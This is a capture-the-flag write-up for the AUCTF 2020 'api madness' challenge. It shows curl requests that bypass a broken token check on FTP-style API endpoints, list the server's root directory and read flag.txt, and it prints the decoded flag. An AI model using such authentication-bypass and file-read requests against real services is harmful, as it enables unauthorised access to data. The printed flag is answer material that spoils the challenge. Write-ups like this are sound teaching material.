auctf 2020 api madness

Saturday, March 7, 2020 12:16 PM

Provided link shows:

```
{
"NOTE": "For API help visit our help page /static/help",
"status": "OK"
}
```

/static/help

Endpoints
/api/login - POST
/api/ftp/dir - POST
/api/ftp/get_file - POST

Params
/api/login - username, password
/ftp/dir - dir
/ftp/get_file - file

(note those last two are in error and are missing the /api prefix)

If you try to POST to /api/login like this:

curl -i --header "Content-Type: application/json" --request POST --data '{"username":"admin","password":"password"}' http://challenges.auctf.com:30023/api/login

It just hangs. However, if you wait long enough it produces a lot of output:

Somewhere in all that output is this:

```
if not request.json or 'username' not in request.json:
        abort(400)
    username = request.json['username']
    password = request.json.get("password","")
    login_check = {"username":username,"password":password}
    token = r.post("http://10.0.2.8/api/login_check",json=login_check).json()['token']
    r_data = {"status":"OK", "token":token}
    return jsonify(r_data)
```

I tried then hitting the 10.0.2.8 site but it also hangs and gives an empty response. In fact, this is why the original request hangs because it is waiting for 10.0.2.8.

However, this yields that this will return a "token" value of some sort.

If you try to use the /api/ftp/dir endpoint like this:

curl -i --header "Content-Type: application/json" --request POST --data '{"dir":"/"}' http://challenges.auctf.com:30023/api/ftp/dir

```
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.</p>
```

However, if you add in any "token" value, then it lets you in!

```
curl -i --header "Content-Type: application/json" --request POST --data '{"dir":"/", "token":"y"}' http://challenges.auctf.com:30023/api/ftp/dir
```

```
{
  "dir": [
    ".dockerenv",
    "bin",
    "boot",
    "dev",
    "etc",
    "flag.txt",
    "ftp_server.py",
    "home",
    "lib",
    "lib64",
    "media",
    "mnt",
    "opt",
    "proc",
    "root",
    "run",
    "sbin",
    "srv",
    "startup.sh",
    "sys",
    "templates",
    "tmp",
    "usr",
    "var",
    "web_server.py"
  ],
  "status": "OK"
}
```

Then you use the get_file endpoint:

```
curl -i --header "Content-Type: application/json" --request POST --data '{"file":"flag.txt", "token":"y"}' http://challenges.auctf.com:30023/api/ftp/get_file
```

```
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 79
```

```
Server: Werkzeug/1.0.0 Python/2.7.17
Date: Sat, 04 Apr 2020 17:17:45 GMT

{
  "file_data": "YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==\n",
  "status": "OK"
}
```

b64 decoding this yields:

auctf{0w@sp_6roK3N_@uth}

Strangely, when I went to write up these notes, the /api/ftp/dir and /get_file endpoints started hanging.